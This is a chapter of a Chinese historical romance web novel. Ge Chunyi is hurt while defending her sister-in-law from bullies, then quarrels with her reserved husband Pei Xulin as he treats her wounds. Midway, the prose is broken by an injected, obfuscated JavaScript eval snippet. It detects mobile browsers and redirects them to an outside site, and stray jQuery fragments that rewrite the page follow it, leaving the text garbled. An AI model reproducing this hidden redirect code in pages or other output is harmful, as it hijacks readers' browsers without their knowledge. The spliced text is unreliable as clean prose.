17. 质问

作品:《春与人宜

    裴灵扬挂在那个说话的男孩身上,死死拽着他的头发,任他如何嚎叫也不松手。


    旁边的人见状连忙上去拉她,拉着拉着,手脚都开始往裴灵扬身上招呼。


    小郡主被人推到最外围,急得在原地打转。


    葛春宜冲过去,“放开!你们五个欺负一个,真当我们定远侯府没人了?”


    无人理会,一群红了眼的小孩比打了结的线头还难扯开。


    她手上木棍一挥,终于把人给驱退了。


    “我是定远侯府世子夫人,你们都是谁家小子,敢做可敢当?”葛春宜冷着脸,声音发沉。


    小郡主见缝插针,忙过去把裴灵扬扶起来,衣裙上都是灰扑扑的脚印,不知伤了哪,声音都有些哆嗦,看着十分可怜,“阿嫂……”


    “哪里的疯婆子,赶紧给我滚蛋!”男孩喝道,给旁边递了个眼色,“连我们镇北将军府的粗使丫头都不如,还敢自称世子夫人!”


    葛春宜一时气笑了,实在没想到这群小孩如此嚣张跋扈。


    突然,手上一空,木棍竟被人夺了去,下一瞬,棍子就破风砸来,她下意识抬手去挡,手臂上立刻传来钻心疼痛。


    没给她反应,紧接着木棍再一次砸下,这次还没感觉到疼痛,先听到了精铁甲胄走动间发出的锵锵声。


    葛春宜似有所觉,还未去看,就有一阵阔步而行的风卷过来,把她拉到身后。


    她几乎是下意识地推拒了一把,又立马反应过来……是裴徐林。


    方才还气焰嚣张的一群小子,此刻都噤了声,惶惶惊怯地看着这些从天而降的威武军士,挥棍打人的男孩更是捏着手腕一脸痛苦却不敢发出声音。


    裴徐林浑身上下是从未有过的冷冽,目光缓缓在场上扫视。


    他侧头对随从交代了几句,有人上来把几个男孩带走。


    子不教父之过——他自会让他们父兄亲自动手处治了,上门赔罪。


    视线略往左移,裴灵扬撇着头刻意不与他对视,嘴唇紧抿透出不忿的倔强。


    饶是再如何强装无事,裴徐林也一眼能看出她身上的伤,叫人把她带出去治伤了。


    葛春宜本来默默站他身后,连忙拉了拉他的袖子,附到他耳边轻声说了几句。


    裴徐林神色莫测,看不出在想什么,点了点头,派人去知会崔家主母,让她们自行去料理善后。


    这边的人都清退了,他终于转身将目光放到葛春宜身上。


    ——清晨精心盘好的发髻早已散乱,脸上也沾了灰,脖颈两侧赫然几条发红的指印……手臂不自然地发颤,是被棍子所砸。


    这些他早在过来第一眼时,就已经全然收至眼底。


    裴徐林拉起她另一只手,拂开衣袖,看到她小臂上一道道细小刀伤,触目惊心。


    葛春宜见他胸膛深深起伏,脸色也越来越难看,想做出轻松的表情安慰他,可这一系列事情早已抽干她的元气,最终只扯出了一个难看至极的干巴巴的笑。


    “……没事的。”


    裴徐林始终沉默不语,将她横抱起来往外走。


    葛春宜手臂虚虚搭在他肩上,窝在男人宽阔的臂膀间感觉到一丝安心,身体很诚实嘴上还是说着:“……被人看到了不好。”


    他顿了顿,似乎想说什么又收了回去,微不可察地叹了口气:“不要多想,后面有道侧门,我们回府。”


    “嗯。”葛春宜把头埋在他肩上,声音发闷,“回家。”


    裴徐林感受到颈侧微凉的湿意,手上紧了紧,难言的情绪在心口蔓延。


    -


    葛春宜靠坐在床上,裴徐林拿来几个软垫给她靠着,再帮她把外衣脱掉。


    银杏还在宝阳寺,他便亲自照料。


    “要不还是把外头的侍女喊来?”


    “不用。”裴徐林低着头给她折袖子,露出大大小小的伤口。


    从军两载,他处理过无数刀伤,替自己替他人,深的可见骨,长的从肩到腰,无不比她手上的严重、可怖数倍。


    可此时拿着上好的军中伤药,他却有些无从下手。


    葛春宜见状笑了笑,想要接过来,“我来吧,早就不疼了。”


    裴徐林抬眼看她一眼,低沉的眸光叫她不自觉止了动作,小心问道:“……怎么了?”


    他摇头:“我来。”


    葛春宜觑着他的神色欲言又止,最终还是抿了抿唇什么也没说,乖乖伸手。


    半晌,裴徐林给她小臂上仔细敷好药,转而看向颈间的淤红。


    他伸手,轻轻抬起她的下巴,白皙纤细的脖颈微微扬起,上面浮现出的几道指痕便愈发明显,如蜿蜒在华美绫罗上的朱墨,格外刺目。


    裴徐林神色愈沉,上化瘀膏时的动作更加轻柔。


    葛春宜等了半晌,见他迟迟没有要问什么的意思,主动说道:“是二皇子,荣王。”


    “……还有鲁义。”这是意图侵犯崔思莹的男人。


    一个皇亲,一个贵戚;一个被她刺伤,一个被她砸晕。


    葛春宜有些担忧地告诉了裴徐林,“……当时我没有别的办法,他们、他们好像都被下了药,神志不清的,所以我……”


    裴徐林看她几乎将嘴唇咬到泛白,攥紧她的手,打断道:“你做得很对,荣王和鲁义已经被救走了,没有大碍。”


    “可是……会不会对爹娘不利,对侯府不利,若皇上怪罪下来,我……”


    成亲一月有余,裴徐林第一次见葛春宜如此低落无措的样子。


    即便是夜宴落水,她也十分冷静。平日明媚如春光一般,唇边总衔着笑,轻易便能将人心底的阴云拂去。敢想敢言敢做,通透自得,从未见过她有什么烦心事。


    裴徐林轻轻摸了摸她唇上的牙印,没有选择说一些虚话来糊弄她,“皇上定会下令彻查,也会波及到我们几家,但是,你们被绑在前,背后显然有人设局,同时崔家也被卷入其中……在事情未完全明了之时,皇上不会轻易下旨责罚。”


    他这样说,葛春宜反而略松了口气。


    “思莹……就是崔二姑娘,应该也妥善归府了吧?”


    裴徐林看了她身上伤口一眼,无声点头,想她自身不保的情况下还敢冒头救人……幸好碰到的是鲁义那个庸人。


    略一深想便停不下来,他捏了捏眉心,强行打断。


    葛春宜早已察觉到了他的异状。


    从见面时他的表情便低沉得吓人,虽然往常也并非健谈之人,可这是第一次,她从他的寡言少语中觉出几分轻淡。<


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15684298|172579||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    p>葛春宜心中微涩,她不喜欢,应该说讨厌这种滞涩感在心底萦绕不散的滋味。


    若是平日,她也早就打着侃便问了,今日却几番张不开口。


    想了想,她转而说起了另一件事,关于裴灵扬。


    “那几个男孩看着还比灵扬要大一些……下手却十分不知轻重,拉帮结伙,横行霸道。”


    裴徐林一边听着,给她上药的手未停,神色不变化,似乎其中主人公不是他的亲妹妹。


    葛春宜看在眼里,心中升起些许不悦,抿了抿唇,继续道:“甚至出言不逊,嘲讽灵扬被侯府抛弃……没娘管教没有人要……”


    她将这些恶言一一复述给裴徐林听,观察他的表情,却根本看不出丝毫心疼妹妹遭遇的感觉。


    “下次若再遇到这种事,无需插手。”


    裴徐林专注地看她被砸的手臂是否伤到了骨头,垂着眼,语气平淡。


    “什么?”葛春宜还以为自己听错了,不可置信地问。


    裴徐林直身,黑眸沉沉,重复一遍并说道,“灵扬需要面对,也有自己的方式处理,不比京都长大的小孩,她有心思和想法,不必过多干涉。”


    葛春宜一下笑了出来。


    所以这就是做父兄的都不插手的理由?所以灵扬灵恒因为懂事就合该受委屈?所以为了促使他们成长就该撤去所有援手?


    她有一大堆的质问堵在喉间,吐不出咽不下。


    气氛凝滞,一时间屋内静得落针可闻。


    屋外丽日晴光,却始终照不进这间灰蒙蒙的小小卧房。


    葛春宜盯着床帐上的花纹,似乎过去了很久,又仿佛是脱口而出,“那我呢?”


    “我也不必管吗?”葛春宜深吸一口气,“你为何不问我今日发生了什么?遇见了什么?为何会被二皇子所伤,如何被绑又如何逃出,是何人心存歹念?”


    一股脑将这些话说出来,她才惊觉原来心里早积攒了诸多不满和不忿。


    裴徐林微怔,“……这些我会一一查明。”


    葛春宜甚至对他会说这句话有所预料,一时又笑了出来,眼底折出点点晶莹的光,“可是,你不想听听我怎么说吗?”


    你不想听听我的委屈我的惶恐我的愤然吗?


    裴徐林眼见她落下一滴泪又连忙撇开脸,心中像是有什么东西轻轻砸下,不由靠近:“我……”


    没等他说,葛春宜打断道:“……今日惊惧太过,一时失态,让世子见笑了。”


    即便他要问,她也无力去诉说了。


    或许是“新仇旧恨”全数涌上心头,葛春宜发现,从相识起,总是她缠着绕着,围在他身边絮絮叨叨。


    她想要的答案,都是一点点“求”来的。


    他总是沉静从容地站在原地,如同一株屹立挺秀的葱茏大树,而她就是偶然落在树梢的小鸟。


    树怎么会为小鸟牵动呢?


    葛春宜抽了抽鼻子,低下头转过身子:“……我累了,想歇会儿。”


    裴徐林似乎还愣怔着,直到她又说了一遍,才低声道了句“好”。


    葛春宜背着身听他逐渐走远的脚步声,还十分贴心地为她掩好窗,合上门。


    气得她恨恨锤了下床,结果扯到伤口,又白白痛了一遭。